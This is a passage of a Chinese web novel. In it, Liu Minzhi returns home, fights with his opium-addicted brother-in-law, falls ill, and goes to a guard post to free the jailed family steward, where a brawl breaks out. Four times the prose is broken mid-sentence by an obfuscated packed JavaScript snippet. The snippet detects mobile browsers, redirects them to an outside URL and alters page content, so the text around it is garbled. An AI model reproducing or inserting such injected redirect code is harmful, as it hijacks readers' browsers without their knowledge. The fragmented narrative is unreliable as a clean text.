王桂英今天会准备什么菜色，看到他回来会不会自责菜准备少了？ 刘珉之勾起唇角。 神经渐渐放松下来，脑海开启自愉的幻想。恍惚间北京的学生和总理握手言和，西北的战事偃旗息鼓，外国人答应和中国友好经商，日本军队撤出国境。 世界太平了。 不太平也无所谓，反正他要回家。 刘家在漳县传承了几百年，到刘伯参这一代，家中握有几千亩良田。 他没有沈承枢和程锦艾那样大的志向，他还是继承家里这些田地，好好做他的二少爷。 王桂英一直很想生孩子，他们可以多生几个。有野心、闲不住的孩子就送出去，由他们自己折腾；胆子小、温驯的孩子就留在家里，养在他们身边养一辈子。 对，等开了春，等大哥回来，等父亲病好一些，他就和桂英把婚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15674753|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宴办了。 刘珉之下了决心，神清气爽，迫不及待要很家人分享。 到了家，刘府上下静谧。 洒扫的丫头缩肩拢腿，眼观鼻鼻观心，笤帚有一下没一下地点着地。 “做什么呢？” 丫头一惊：“二少爷！” 刘珉之皱着眉数落：“做事一点也不用心，就知道磨蹭。” 丫头唯唯诺诺地受着。 “二奶奶呢？” “在厨房。” 刘珉之把行李扔给丫头：“给我提到东厢房。” “是。” 他直奔后院厨房，崔婶今天又不在，另两个厨娘切菜备菜，王桂英性子急，嫌指挥别人不称心，干脆自己亲自掌勺。 她膀子圆，瞧不出这么有劲儿，硕大的铁锅被颠来颠去，里面似乎是红彤彤的羊肉，等炒入了味，王桂英抓起一瓢水洒进锅里，盖上盖子由大火闷煮，白烟从锅缝边沿冒出，热腾腾地打在脸上。 她用绢子擦擦脑门，一愣。 “二少爷？” 刘珉之心潮汹涌，一把上前将她抱在怀里，满足地喟叹出声。 王桂英浑身是汗，极不自在，身体僵硬地板着。 “二少爷，您，您的事办完了？” “办完了，以后只有我们。我保证，我再也不在外面胡来了。” “哦。” 王桂英看起来并不兴奋，这令刘珉之很受挫。 “你还在怪我？” “不是，”王桂英眼神躲闪，“家里……不太好。” 刘珉之心中一凛：“爹的身体不好了？” “没有，”王桂英解释，“爹最近精神还行，是店子里出事了。” 原来刘珉之离开第二天，姓孙的派人抄查刘家米铺，说是有人举报，他们卖的米里掺了沙子，军部要求米铺闭店接受调查。 “这几天都没开门。” “钱管家呢？” “钱管家连着几天被带去问话，一问就是几个时辰。” 刘珉之心下沉重，这下事情麻烦了。 “爹知道这事吗？” 王桂英忙道：“没敢告诉爹，府上里里外外都交代了，大家嘴巴严的很。” “你做的很好，”刘珉之握住她的手，“辛苦你了。” 王桂英斜眼看向远处：“二少爷，您去厅里坐会儿吧，马上就开饭了。” “好。” 刘珉之去正房看了父亲，果然精神不错，乐呵呵扶着他和老太太一起去正厅。 这次出门急，他没买礼物。临上火车匆匆捎了件点心，正好这会儿摆出来吃。 刘珉之怕丫头乱翻行李，自己去拿。 到东厢房，却见里头有个人影，鬼鬼祟祟的。 刘珉之皱眉，一脚踢开房门。 “小葱？” 小葱眼睛瞪的溜圆，惊慌道：“二少爷！您怎么来了？” 刘珉之脸色黑沉。 “你做什么呢？” “没、没什么。” 小葱年纪小，藏不住事。 刘珉之眯着眼睛走进来，一个黑影贴着墙根往他身后蹿。 “什么人？” 刘珉之怒喝。 “拦住他！” 34. 表白 守卫的下人听到动静往东厢房赶，那人影见事不妙，反向往府里躲，刘珉之上前截拦，和人影撞了个面对面。 刘珉之牙根咬的酸痒，怒声道：“王俭！” 王俭狗躯一震，身后下人已聚集过来，还是刘珉之这边防卫薄弱，干脆迎面跑上去，见他攒足怒气挥出拳头，赶紧一猫腰，猴也似的往人家腋下钻。还没来得及得意，谁知刘珉之迅速变幻身法，往他屁股狠狠踹了一脚。 “哎哟！” “你还有脸出现在我面前？” 刘珉之气急败坏。 “抓住他！” 下人挥着扫帚木棍往前冲，王俭本想求饶，这下哪里敢停？两条腿死命飞奔，在院落里东拐西藏，一个人闹一出鸡飞狗跳。 “桂英！桂英！” 王俭一边跑一边喊救世主的名字，谁知妹妹没招来，招出来两个拄拐棍的老东西。 “在吵什么？” 这白头发老头讲话有气无力，脸又白又黑，一副衰相。但身上穿的却讲究，外头一件灰鼠锦毛棉袄，里头是老气得体的秋香色大褂，使的绫罗密织的好布料，冬日里冷光一照，折出幽微的光。 这人身份不言而喻。 王俭扑腾一声跪在老头脚下，嗙嗙两个响头。 “刘老爷，您大人有大量，就饶我一命吧！小的实在是，吃不起饭了呀！” 王俭起落之间，脸上满是泪痕。 老太太眯着眼睛，迟疑道：“你是不是，王家那孩子？” 王俭大喜：“老夫人这尊菩萨，竟还记得小的这个俗人！” “王俭？” “正是小的！” 刘伯参一手撑着拐棍，一手去扶他：“起来说话。” “爹！”刘珉之追上来，急道，“他可不是个好东西，抽大烟抽的，把地都卖了！” 不等老头老太太反应，王俭立马泣泪道：“今年地里旱的很，朝廷又加了税，小的实在是，实在是活不下去了！这才不得不来投奔亲家公。” “放屁！”刘珉之哪里见过这种厚颜无耻的人，“你妹妹给的钱，我给的钱，还少么？还不是被你自己败光了？” 刘珉之越讲越气，又要去踹他，被刘伯参喝住。 “不可无礼！” 刘珉之悻悻，用眼神杀人。 刘伯参捋着胡子，慢条斯理道：“都是一家人……先吃饭吧，吃饭。” 刚从北京回来，就遇上这个偷鸡摸狗的小人，还要和小人坐在一张桌子上吃饭，刘珉之嘴都气歪了。 王俭吃饭叮铃哐啷响，筷子在瓷碗里打架，生怕吃慢了会少进嘴一块肉，他脸上黑浓的胡子拉碴，沾上红焖羊肉的汤汁，随着嘴里吧唧吧唧的咀嚼声颤动，像山羊的须。 刘伯参伸出筷子夹菜，才伸到一半，王俭的筷子凌空飞来，最顶上的茄子酿肉已进了他的嘴巴。刘伯参顿了顿，改夹一筷子菠菜，放在餐盘里一根一根往嘴里送。 王俭吃的旁若无人，吃的浑然忘我，餐桌仿佛成了他的舞台。 王桂英垂着头，低声道：“哥，你慢点吃。” 王俭没听清，以为她在讲别客气多吃点之类的客套话，一边嚼一边回应：“好吃好吃，你们也吃。” 刘珉之啪嗒撂下筷子，一点胃口也没了。 刘伯参瞪他：“摆脸色给谁看？一点规矩也没有。” “爹！” “爹什么爹？” 刘珉之一肚子火，硬是捱过了这顿饭。 饭后刘伯参和王俭叙了旧，讲起刘家和王鸿的渊源，又说到王桂英在刘府尽心尽力，王俭乐呵呵地附和，王桂英头也不敢抬。 刘伯参感慨道：“转眼都这么多年了。” “可不是，”王俭挤着眼睛，没挤出一滴眼泪，只能用哭腔表示他的难过，“还是我爹不会做人，得罪官场上的老爷，落了这么个下场。要是当年我们王家能留在漳县，现在咱们两家的日子得多红火啊。” 他人虽浑，这话却说到王桂英心坎里，王桂英闷闷地红了眼睛。 刘伯参叹气，他毕竟是长辈，讲起往事比小辈更无奈。 “那几年世道乱的很，不然，我们刘家是一定帮你们王家的。” “亲家公！您这话说的，您帮我们的还少吗？” 王俭噗通从椅子上跪到他脚边。 “这些年要不是有您接济，我们一家子早就饿死了。” 这话完全是胡诌，王鸿被赶出漳县，和所有人都断了来往，刘家也不例外。 但王俭说的真心实意，姿态又摆的这样低，刘伯参只能囫囵认了。 “更别提您还不计前嫌，让桂英过了门，我看桂英过的这么好，就知道您没给她一点委屈受，您对我们王家，真是再造之恩呐！” 王俭情绪酝酿到位，一瞬间涕泗横流。 “桂英是个好孩子，让她进门这事，我很满意。” 刘伯参拍拍王俭的手，勉为其难道：“你……也是个好孩子。” “刘老爷！” 王俭撕心裂肺地大喊一声，伏在刘伯参膝上哭泣。 刘珉之冷冷道：“哭够了没？” 王俭打了个嗝，不知道是哭的还是撑的。 “哭够了就爬起来滚回去。” 王俭愁眉苦脸：“少爷，您让我滚哪里去？我地也没了，房子也没了，还得罪了东老虎，出去只能是个死。少爷，您再怨我，也不能眼睁睁看我去死吧！” 刘珉之本想凉飕飕说：怎么不能？ 但碍于王桂英还在旁边，怕她听了伤心，生忍住了。 “也不是没给过你钱，是你自己不中用，再多的钱都拿去买鸦片。” 王俭眼神飘虚。 “以后刘家米铺每个月供你五十斤米，多的，一分也没有。” 刘珉之自认这样安排仁至义尽，王俭却觉天塌地陷，又朝刘伯参胡搅蛮缠一阵。谁知这老头提起往事和颜悦色，谈到钱却寸步不让。 “刘家现在是珉之当家。珉之说的也有道理，还是等你把大烟戒了，以后的事，咱们以后再说，啊?” 王俭又争论几番，无果，只能见好就收。 王俭的事终于拍板，他今天在刘府再住一晚，明天刘伯参派人带他出去租房子，在漳县好生安顿下来。 刘珉之被闹的头疼，关上东厢房的房门，还是心浮气躁，一肚子无名火往脑门上冲。 火车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15692482|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上设想的美好生活雾一样消散，只剩下没完没了的琐碎日常。 王桂英不会哄人，闷葫芦似的坐在屋里。 刘珉之刚想发火，却听她低声道。 “对不起。” 她已经换了衣裳，冬天天气冷，刘珉之冷静下来，将被子盖在她身上。 王桂英鼻子一酸，抬头看屋顶。 “对不起。” 刘珉之无奈道：“傻瓜。” “什么？” “我说你真是个傻瓜。” 王桂英愣愣的：“你之前明明说我很聪明。” “那好吧，你是个聪明的傻瓜。” “哪有这种说法？” “可你不傻的时候还挺聪明，傻起来，又拦不住。” 王桂英破涕为笑，赶紧收敛神色，正色道：“对不起，我不该把我哥带进府的，我知道他给你找麻烦，你不想看见他。” “不用说对不起。” 刘珉之把自己哄好了。 “我虽然讨厌他，但你毕竟是我们刘家的人，看在你的份上，我也不能把他怎么样。” “多谢二少爷。” 王桂英脸颊通红，她穿着白色的中衣，黑发红唇，像琼脂一样暖润。 气氛正好，刘珉之不作声地朝她挨近。 忽然，他听到她低低的、钝钝的声音。 “可是，我才不是你们刘家的人。” 刘珉之一惊：“什么？” 王桂英抱起膝盖，把脸埋进去，闷闷道：“没什么。” 刘珉之方寸大乱，忙表衷心。 “我和那个女老师断干净了，我以后只有你一个女人。” 这话简直是在表白，刘珉之说出口，只觉心脏跳的极快，快得他分不清是羞赧，还是慌乱。 王桂英抬头瞥他，嘴唇还是咬的死紧。 刘珉之扶住她的肩膀。 “我们以后好好过日子。我想好了，等开春我们就办婚宴。明年大哥会提我当军工部的主任，军工部事情不多，我可以经常回来陪你，以后还会陪我们的孩子。我们要多生几个孩子。大哥只有一个儿子，爹天天念叨着刘家的香火，等你肚子大起来，他肯定乐的嘴都合不拢，你说什么就是什么。” 王桂英先是愣愣地看着他，之后纠结地闭上眼睛。 刘珉之大惊失色。 为什么会这样？ 王桂英不应该很开心，很激动地扑在自己怀里，他再抱住她，趁机说些俏皮话，彼此互通心意吗？ “你怎么了？你和我说说话，好不好？” 王桂英甩开肩膀的手，往身后缩了缩：“我不知道。” “你不知道什么？我真的和那个女老师断干净了！” 刘珉之急切地逼近：“你相信我！” “那你以后会和我断干净吗?” 刘珉之一滞：“什么？” 王桂英垂下眼睫，低声道：“我哥说，那个女老师很漂亮，还是大户人家的千金，比我好十倍百倍。这样的女人都留不住你，我凭什么留住你？” “你别听你哥胡说！他是不是骗你拿钱给他？”刘珉之急了，“他一个吸大烟的，能说什么好话？” 35. 生病 王俭确实是个吸大烟的，嘴里也没句好话。 可王俭有句话没说错，她再向着刘家也没用，她永远都是王家人，现在虽然过了刘家的门，可只要刘珉之起一个念头，她就不再是刘家人。 女人是可以被赶出去的。 而刘珉之不喜欢自己。 那段时间刘珉之经常往新中学跑，她未尝没听过一些风言风语。 她从前以为女人都是这样过来的，以为只要自己生了刘家的儿子，就不用担心被休妻，就可以坐稳这个位置。 可是刘珉之不一样。 他太温柔、太浪漫，简直像是另外一个世界的人。 这样的人真的会留下来，留在自己身边吗？ 王桂英没有这个自信。 刘珉之和那个女老师的传言一出，她简直松了口气，一直害怕的事准备爆发了，所有人都被牵扯进来，不得不去解决。 那就解决吧，是死是活都来个痛快。 她已经做好准备，等刘珉之把那位女老师带回来，她就离开，去乡下买几亩地，和王俭凑合着过日子。 可是刘珉之居然没带那位女老师回来。 又突然说和自己生孩子。 她算什么？ 胜者吗？ 怎么会有她这种胜者。 王桂英感到耻辱。 刘珉之说的越多，她越觉得虚幻，她不敢去想，也不愿接受。她不想再一次坐在家里，等刘珉之从北京回来。 刘珉之说的口干舌燥，王桂英还是石头一样杵着。 他泄了气，不明白王桂英怎么也像变了个人。 他哪个女人都没搞懂。 刘珉之无奈地瘫在地铺上，业已入冬，地板的寒气将被褥侵的透凉，刘珉之腿一抬一夹，将自己裹紧。 王桂英抱着被子从床上爬起来：“是不是很冷？你睡床上吧。” “不用，”刘珉之翻了个身，正对着她，“等你愿意和我生孩子了，我就睡床上。” 王桂英脸色通红，瑟瑟地退回来。 熄了烛火，晚间的寒月如霜。 王桂英在床上翻来覆去地想，迷迷糊糊间，也不知道自己睡没睡着。 眼前倥偬出现许多景象，一会儿是王俭怒气冲冲的脸，一会儿是那个短头发的女学生，一会儿她竟然回到小时候在县里的家，教识字的老先生一边训斥一边打她手板，老先生的声音越来越尖，忽然幻作张女人脸。 王桂英吓的要叫起来，又看出一个瘦高的男人。 男人在梦里没有脸，只有影子，这影子一会儿教自己读书，一会儿捏她的脸，又一会儿那影子提着行李箱出门，留下她一个人空空荡荡。 影子把颜色带走了，她自己成了影子。 王桂英一宿没睡好，第二天凌晨，顶着两个硕大的黑眼圈。 谁知她竟算是好的了，刘珉之夜里着了凉，两个鼻孔嗡嗡堵堵，不住冒青白鼻涕。 王桂英扶他去床上，又给他盖了两层厚被子，刘珉之被严严实实包起来，还是虚弱地不住咳嗽。 每天早上郎中都到府上为刘伯参诊脉，王桂英顺便去叫，却被刘珉之拦住。 “去军医院帮我开几粒西药，西药见效快。” 王桂英应了，扭头吩咐小葱。 刘珉之沉沉睡了一觉，醒来看见王桂英愣愣坐在床头，小葱则在焦急地和她说些什么。 “咳、咳！” 王桂英把他扶坐起来，轻快地为他拍背。 “我，咳咳，没事，”刘珉之嗓子又干又疼，咽了两口唾沫润喉，“你们在聊什么？” 小葱欲言又止，急切地看王桂英。 “没什么。” 王桂英扭头，拿起床头放的汤碗，汤匙一碰，搅出两缕温热的白烟。 “先喝点鸡汤，然后再吃药。” 刘珉之只是普通风寒，不至于失去自理能力，但被伺候的感觉实在不错，他懒得动，乖巧地被喂进去一碗鸡汤。 小葱憋屈地看他，急的直跺脚，挨了王桂英几记眼刀。 胃里有了热乎气儿，身子也有劲儿了，刘珉之仰脖咽下药片，却见王桂英端来一小碟蜜饯。 他感动到有些无奈：“西药又不苦，不用蜜饯。” 王桂英尴尬地收回。 “别，”刘珉之伸手，“拿都拿了，给我吃一颗。” 病患的舌头吃不出滋味，刘珉之将蜜饯顶在腮囊，装模作样地吮吸蜜糖。 “外头出什么事了？” 王桂英一僵。 “是不是铺子里的事？” 刘珉之问到点子上，小葱终于忍不住了，一口气嚷了出来：“警卫队的人一早把所有的铺子都围起来，抓了好几个伙计，钱管家找他们理论，结果连钱管家也被抓了！” “什么？”刘珉之双眼瞪大，“他敢抓钱管家？” “他们派头大的很，扛着步枪来的！伙计去拦，他们就打人，好几个伙计挨了打，还是让他们把钱管家抓走了。” “岂有此理！” 王桂英劝他：“你别急，伙计说已经去请赵副官了。” 刘珉之还是怒气冲冲，掀开被子下床。 “反了他们了，连钱管家都敢动，这是彻底不把我们刘家放在眼里了……” 他鼻子不通，说话瓮声瓮气，王桂英边帮他找衣服，边担忧道：“你身体扛得住吗？” “扛得住，这种时候必须抗住。” 刘珉之一肚子火，烧的又旺又烈，翻衣箱的手臂却发软。王桂英找出配套的衬衫西裤和棕色毛衣丢来，刘珉之费劲巴拉地将自己塞进去，又见王桂英已抖开他的黑色呢子大衣，刘珉之伸展手臂，两根袖子自动套住胳膊，两襟再往胸前一拢，大衣便暖烘烘穿在他身上了。 王桂英边帮他系扣子，边担忧道：“你别和他们来硬的。” “我心里有数。” 王桂英还是不放心：“我担心是冲你来的，之前都是军部的人来查，偏偏今天换成警卫队的人……” 刘珉之叹了口气。 “恐怕真是冲我来的。” 王桂英担忧地看着他，却听他幽幽道。 “这下我更得去了。” 刘珉之穿戴完毕，又多围上一条羊绒围巾，临出门，温柔地抚摸她的头发。 她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15701812|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头发极黑，油亮顺滑地盘在脑后，只插一根陈旧的银簪，再无其他粉饰。 “爹那边你瞒好。” 王桂英郑重地应了。 刘珉之先去铺子查看情况，几日没有开张，堆积的货物塞的严严实实，里外都贴着白纸封条。可这些封条并没护住货物，好些袋米被刺破毁坏，两个伙计将洒落的粮食扫拢,装进新袋子里。 “二少爷！” 伙计们围上来。 “二少爷，您回来可太好了。” 掌柜的扶拢一边胳膊，颤颤巍巍地迎过来。 “掌柜，你怎么了？” “回二少爷的话，早上警卫队的人来闹事，我被拧了一下，倒没大碍。” 刘珉之眉头皱的死紧，又查看了另几个受伤的伙计，总共有六七个，好在都是皮肉伤，没动着筋骨。刘珉之吩咐给他们叫最好的医生，一应花用由刘家出。 “多谢二少爷。” “掌柜的，跟我说说钱管家的事。” 掌柜的细细讲来，原来前几日来的都是军部的人，对钱管家和他们都很客气，只说战时情况特殊，粮草辎重审批严格，他们不过是例行检查，等军队那边收到货说没问题，立马让米铺重新开张。 结果今天一大早，警卫队的人逼上门了。 “他们凶的很，直接闯门进来的。嘴上说的是检查，其实就是闹事。上来就捅破咱们好几袋米，硬说咱们米的颜色不对，是陈米，叫管事的来。钱管家急急忙忙赶过来，他们二话不说就要抓人，他们人多，手上又有枪。那领头的是个愣头青，谁都不认，已经抽刀了。钱管家怕再闹不好收场，就自己跟他们走了。” “离钱管家被抓过去多久？” “一个多时辰。” 时间已近中午，阳光方正地洒下来，但并不温暖。 刘珉之鼻尖堵塞，脑子晕晕乎乎像醉了酒，他用手绢将鼻涕擦了，强行打起精神。 “赵副官那边还没消息？” “赵副官不在军部，说是今天和妻子回老家祭扫。” 刘珉之皱眉，这已经不是赵副官第一次靠不住了，他不得不做最坏的打算。 “军部其他人怎么说？” 掌柜的一脸愁容：“没一个敢管的，说警卫队有权抓人，他们军部管不着。” 刘珉之叹气，他从前只知道权利的好处，如今才算领教了权利的脆弱。 “军部和赵副官家里都派人蹲着，一有消息马上通知我。” “晓得了，二少爷。” 靠山不在，刘珉之也不能坐以待毙。他和伙计去银行取了几千块钱，又带着人和钱一起去警卫所。 正午刚过，刘珉之顶着太阳擤了擤鼻子，他腿脚酸胀发软，一步步走的极慢，伙计们跟着他龟速移动，半晌才到地方。 一个花白头发、穿丝绸衣裳的妇人正从警卫所出来，她怀里抱着木漆的食盒。食盒不大，对她这个年纪却有些重了，她抬胯顶着重物，费力地迈过门槛。年老的身形一下子松垮下来，她喘着气儿，拎起一只手腕抹眼睛。 刘珉之和伙计们一蜂窝上去扶她。 “钱夫人，您慢点。” 36. 冲突 钱夫人抬头看见大伙儿，眼里歘地噙满泪水。 “二少爷，您，您也来了。” “我当然得来。” 刘珉之拍拍她的手背，她反手捏住刘珉之的小臂，干瘪的嘴唇颤抖着，诉苦道：“我来给我家老头子送饭，他胃不好，早上就没吃什么东西，我就给他熬了稀饭，就点小菜吃。” 似乎人老了都有这个毛病，说话总说不到重点。刘珉之虽有耐心听下去，但现在毕竟是在警卫所的门口。不一会儿，里头传来喝斥。 “别拦道儿，出去说去。” 随行的伙计恼了，捞起袖子忿闷道：“岂有此理，他们警卫队是什么东西！” “二少爷，您说怎么办吧！” “他们这样对钱管家，这不是打咱们的脸吗？” 钱夫人紧紧抱着食盒，跟在伙计们身后。 刘珉之吸吸鼻子，沉声道：“稍安勿躁，咱们是来救人的，不许生事。” “怎么还在门口挡道儿！” 一个戴眼镜的年轻队员出来赶人，瞧见刘珉之，神色尴尬：“你是，刘少爷？你怎么来了？” 刘珉之毕竟进过一次拘留所，瞧他也有几分面熟，露出个友好的笑来。 “我们刘家米铺的钱管家，来这里配合贵部工作，这本是应当的。只是这都中午了，钱管家还没回去，我担心是不是出了什么事，特意来看看。” 年轻的队员慌忙摆手：“没有没有，什么事都没有。” 里头又传来一个沙哑些的男声：“怎么都杵在门口，还做不做事了？” 队员求救道：“师傅！” 中年男人出来，看到乌泱泱一群人，面色沉重：“您几位什么意思？” “哎哟我草！” “什么什么意思！” 刘珉之伸手拦下躁动的伙计，依旧好言好语道：“我是刘家米铺的二少爷，军务部刘部长的弟弟，我来看看我们钱管家。” 中年男人脸色一僵，客客气气让开路：“进来说，进来说。” 一行人闯进警卫所，将空间填了大半，钱管家在狭窄的拘留室里，抓住铁栏杆往这边伸头。 “钱管家！” 伙计们一窝蜂围上去，旁边的队员吓了一跳，猛地握住警棍。 刘珉之先左右打量了一圈，没见着杜其骏，松了口气，这才跟着去看钱管家。 里头太热，钱管家将瓜皮帽摘了扇风，露出满脑袋灰白蓬乱的头发，显得比平日苍老。他稳重地应对伙计的关心，等刘珉之到了跟前，才沉沉道了声二少爷。 刘珉之隔着铁栏杆握住他苍老的手：“苦了你了，钱管家。” “不苦，不苦，他们没拿我怎么样。” 话是这么说，但钱管家这个年纪的人哪里受得了这样折腾，在里头呆了半日，他已疲惫地面容凹陷、眼神无光，叫钱夫人心疼地止不住泪。 警务室里有七八个队员，此时都警惕地盯着他们，刘珉之瞧这群人神色，应该以刚才叫他们进来的那个中年男人为首。于是心下一定，从兜里摸出几张钞票，光明正大塞进他手里：“长官，怎么称呼？” “不敢不敢，刘少爷，我姓赵，叫我老赵就行。” “赵长官，我们钱管家辛苦您关照了。” “没有没有，”老赵咽了口口水，“刘少爷，这钱我可不能收。” 刘珉之笑道：“一点小钱，给弟兄们买点酒水。” “那就多谢刘少爷了。” 老赵引他去待客的长沙发上坐下，还叫徒弟去倒茶水，总算有些接待贵客的样子。 刘珉之病的真不是时候，眼前晕的天旋地转，只能快速进入正题。 “赵长官，钱管家什么时候能放回去？” “刘少爷，这实在是不好说。” 刘珉之招招手，示意他坐到身边。 老赵迟疑了。 “赵长官放心，我兄长常说一句话，我们刘家是讲道理的人家。” 老赵慢吞吞地坐下，却见刘珉之拉过他的手，重重拍了拍，又紧紧握住。老赵只觉手里多出几张纹路细腻的纸张，大喜，借着衣袖的遮掩尽可能隐蔽地塞进内兜。 “赵长官若能帮忙，事后定当上门拜谢。” 老赵连连摆手：“不敢当不敢当，刘少爷太客气了。” 钱送出去，刘珉之这才好讲理。 “按说我们刘家米铺在漳县正儿八经开了上百年，也是漳县的老字号了，在场诸位有谁敢说从没在我们刘家买过米？” “是是，少爷说的是。” 刘珉之喝了口茶水，咽下去时像刀刃划过嗓子。 “眼前时局艰难，西北在打战，咱们后方也不能懈怠。各方面管的严，粮草也不能马虎。我们刘家既然供应军粮，军部要查便查，要管就管，从来没有不配合的。只是军部进我们刘家铺子尚且客客气气，不知今天怎么就惹恼了警卫部的大人？” “刘少爷，瞧您这话说的，我们也只是例行检查，绝不敢为难！” 刘珉之似笑非笑。 伙计坐不住了，跳起来骂：“你还真有脸说！上来就打人，还要放枪！” 众人义愤填膺：“你们有枪，有本事就把我们都毙了，来啊！” 屋里几个警卫队员摸出警棍严阵以待，刘珉之喝着茶水，任由他们闹。 “冷静，大家冷静！”老赵站起来调停，“今早的冲突绝不是我们的本意。诸位为刘家做事，我们为部队做事，大家都是厚道人，有什么话坐下来好好说，没有说不通的。” 老赵弯下腰，话锋一转。 “二少爷，您说是吧？” 刘珉之笑着放下水杯。 “有赵长官在我就放心了。” “是，是。” “那钱管家……” “刘少爷。” 老赵叹了口气，挨坐在刘珉之身边。 “实话跟您说了吧，这事是杜队长的主意。” 果然不出他所料。 刘珉之心下烦躁，是杜其骏在故意整他。 老赵俯耳道：“他本来想抓您的。” 刘珉之瞪大眼睛。 老赵心有戚戚地点头，小声道：“您还是别和他正面冲突，他……没几个人能管得住。” 可也不能叫钱管家替他受无妄之灾。 “能不能先叫钱管家回去，之后的事，我一力承担。” 老赵猛一拍大腿，急道。 “刘少爷，您不了解他，现在只能顺着他来，您要是和他对着干，他能把漳县搅翻天。” 刘珉之沉默。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15720922|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 赵副官态度越来越暧昧，他这个节骨眼和杜其骏闹起来，传到刘伯参耳朵里就不好了。 “那钱管家……” “刘少爷您放心，”老赵举手表态，“钱管家在我们这里不会受一点委屈，等队长心情好，我立马提议放人。” 刘珉之心中权衡，看姓赵的不似作伪，还是应下了。 “还请赵长官速决。” “一定，一定。” 事情谈妥，刘珉之站起身，嗡声道：“走吧。” “少爷……” “少爷！” 刘珉之叹了口气：“走吧。” 钱夫人蹲在铁栏杆这边，夹菜喂给钱管家吃，见他们要走，急的左右为难。 钱管家咽下最后一口菜，看着夫人道：“你也走吧。” 刘珉之愧疚道：“对不起。” 钱管家闭上眼睛，揣着手默不作声。 老赵又凑过来：“刘少爷，当断不断啊。” 刘珉之搀扶起泪眼汪汪的钱夫人：“夫人，我们先回去吧，我保证钱管家马上出来。” “饭还没吃完呢，饭还没吃完呢……” 刘珉之手上使了几分力气，拽着她出去。 形式比人强，他刘珉之认了。 一行人怒气冲冲地来，又满肚子火地走。 谁知还没出警卫所的门槛，又起变故。 “师傅！”那戴眼镜的年轻队员大喊，“队长回来了！” “什么！” 老赵急的跳起来。 “刘少爷你们快走！” 伙计们怒了，不放人就算了，还赶人？ “奶奶的我是真受不了这鸟气！” “少爷，咱和他们干一战！” 钱夫人奋力甩开刘珉之的手，一屁股坐在地上。 “我不回去，你们把我也关起来算了！” “诶！” 老赵又气又急，还是决定先稳住刘珉之。 “少爷您可千万别硬来啊！” 刘珉之哪里想硬来。 他病的脑袋都要炸了，只想息事宁人，回去从长计议。 可他有这个心，杜其骏却没有，杜其骏进屋见到刘珉之，像豺狼见了腥肉，眼睛通红一片。 “刘珉之，你竟敢送上门来！” 他怒喝。 “把他给我抓起来！” “是！” “别……” 刘珉之第一个字刚出口，双方已迫不及待打成一片，他带来伙计本就是为了助威，选的都是精壮强硬的汉子，方才憋的胸闷气短，这下抄起椅子凳子干起战来。 众人缠斗在一起，一时难舍难分，一个年轻的警卫队员冲过交战众人一路跑到刘珉之面前，他自己都有些意外，迟疑地停下了。 杜其骏怒骂：“废物，想什么呢！” 队员收起警棍，无辜地去看队长。 杜其骏已紧随其上，一脚将没用的属下踹倒，举起棍子怒喝着朝刘珉之挥下。 “少爷！” 伙计们急了，奈何来不及阻挡。 别说刘珉之还病着，他就是没病，也躲不开这一击。 杜其骏是个不要命的，出手用了十成十的力。 挨这一下，可有他好受的。 37. 误会 “哎哟！” 老赵龇牙咧嘴，痛地瘫在刘珉之身上。 刘珉之腿脚一酸，险些一齐跌倒，幸被老赵重新撑住。 杜其骏大怒：“你个狗日的吃里扒外！” 刘珉之努力道：“你冷静点……” “冷静你爹！” 杜其骏挥着棍子劈头盖脸而来，老赵展臂兜住刘珉之后撤，米铺的伙计们上前阻拦，杜其骏一视同仁一人一脚，场面分外焦灼。 刘珉之被老赵顶的胃痛，猛地呕出一股酸水。 老赵了被吐了一肩膀，不敢置信地看向刘珉之，众人都愣了，连杜其骏都停下来瞥着手里的棍棒，怀疑是不是刚才打中了。 刘珉之擦擦嘴角：“大家冷静，冷静。” 杜其骏冷哼一声：“怎么，你该不会想说都是误会吧？” 刘珉之换了个说法：“大家都是漳县人，何必动手呢？” 杜其骏大怒：“放你奶奶的屁！敢来警卫所闹事，全给我关起来！” 老赵大喊：“队长，他们没闹事。” “把这个叛徒也抓起来！” “是！” 老赵懵了，双手护头左藏右躲，刘珉之被肘击的七零八落，和老赵蜷缩在一起。 